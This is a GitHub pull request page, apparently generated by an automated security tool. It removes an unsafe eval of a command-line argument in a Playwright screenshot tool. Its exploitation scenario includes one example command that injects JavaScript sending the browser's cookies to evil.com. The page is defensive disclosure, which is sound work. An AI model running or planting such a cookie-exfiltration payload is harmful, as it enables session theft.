fix: remove unsafe eval() in shot.mjs - #22
Open
anupamme wants to merge 1 commit into
Open
Conversation
Automated security fix generated by OrbisAI Security
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Fix high severity security issue in
tools/shot.mjs.Vulnerability
V-001tools/shot.mjs:4Description: The development tool
tools/shot.mjsaccepts a command-line argumentextraand passes it directly topg.evaluate()without validation. This allows execution of arbitrary JavaScript code within the Playwright browser context, enabling code injection attacks.Evidence
Exploitation scenario: An attacker with access to execute the tool can provide malicious JavaScript as the
extraargument:node tools/shot.mjs output.png 4000 "fetch('https://evil.com/steal?cookie='+document.cookie)".Scanner confirmation: multi_agent_ai rule
V-001flagged this pattern.Threat Model Context
This is a Node.js library - vulnerabilities affect downstream consumers who use this package.
Changes
tools/shot.mjsBehavior Preservation
The change is scoped to 1 file on the vulnerable path, and the project's existing tests still pass, so intended behavior is unchanged.
Verification
Automated security fix by OrbisAI Security